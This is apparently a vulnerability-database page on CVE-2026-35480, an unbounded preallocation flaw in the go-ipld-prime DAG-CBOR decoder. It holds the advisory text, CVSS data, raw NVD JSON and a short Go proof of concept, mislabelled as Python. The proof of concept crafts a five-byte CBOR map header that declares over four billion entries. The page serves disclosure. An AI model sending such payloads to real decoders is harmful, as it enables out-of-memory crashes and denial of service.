Security Vulnerability Report
中文
CVE-2026-35480 CVSS 6.2 MEDIUM

CVE-2026-35480

Published: 2026-04-07 15:17:45
Last Modified: 2026-04-17 19:45:58

Description

go-ipld-prime is an implementation of the InterPlanetary Linked Data (IPLD) spec interfaces, a batteries-included codec implementations of IPLD for CBOR and JSON, and tooling for basic operations on IPLD objects. Prior to 0.22.0, the DAG-CBOR decoder uses collection sizes declared in CBOR headers as Go preallocation hints for maps and lists. The decoder does not cap these size hints or account for their cost in its allocation budget, allowing small payloads to cause excessive memory allocation. This vulnerability is fixed in 0.22.0.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:protocol:go-ipld-prime:*:*:*:*:*:go:*:* - VULNERABLE
go-ipld-prime < 0.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" ) /* * PoC for CVE-2026-35480 (go-ipld-prime Memory Exhaustion) * * This Go code demonstrates how to craft a malicious CBOR payload * that triggers the vulnerability in go-ipld-prime < 0.22.0. * * Vulnerability: The decoder reads the declared size in the CBOR header * and uses it as a pre-allocation hint without checking limits. */ func main() { // CBOR Format: // Type 5 (Map), Additional Info 26 (4-byte unsigned integer) // Header byte: 0b101_11010 = 0xBA // Length: 0xFFFFFFFF (Max uint32) // Construct the payload: Map header + Huge size maliciousPayload := []byte{0xBA, 0xFF, 0xFF, 0xFF, 0xFF} fmt.Println("[+] Crafting malicious CBOR payload...") fmt.Printf("[+] Payload (Hex): %x\n", maliciousPayload) fmt.Println("[+] Payload Size: 5 bytes") fmt.Println("[+] Declared Map Size: 4294967295 elements") // To trigger the vulnerability (simulated): // decoder.Decode(maliciousPayload) // The vulnerable library would attempt: make(map, 4294967295) // Result: Out of Memory (OOM) crash. fmt.Println("[!] If decoded by go-ipld-prime < 0.22.0, this will cause OOM.") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35480", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:45.117", "lastModified": "2026-04-17T19:45:58.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "go-ipld-prime is an implementation of the InterPlanetary Linked Data (IPLD) spec interfaces, a batteries-included codec implementations of IPLD for CBOR and JSON, and tooling for basic operations on IPLD objects. Prior to 0.22.0, the DAG-CBOR decoder uses collection sizes declared in CBOR headers as Go preallocation hints for maps and lists. The decoder does not cap these size hints or account for their cost in its allocation budget, allowing small payloads to cause excessive memory allocation. This vulnerability is fixed in 0.22.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protocol:go-ipld-prime:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.22.0", "matchCriteriaId": "FCF11469-E3FB-49A2-B216-41682DEAB4E7"}]}]}], "references": [{"url": "https://github.com/ipld/go-ipld-prime/security/advisories/GHSA-378j-3jfj-8r9f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}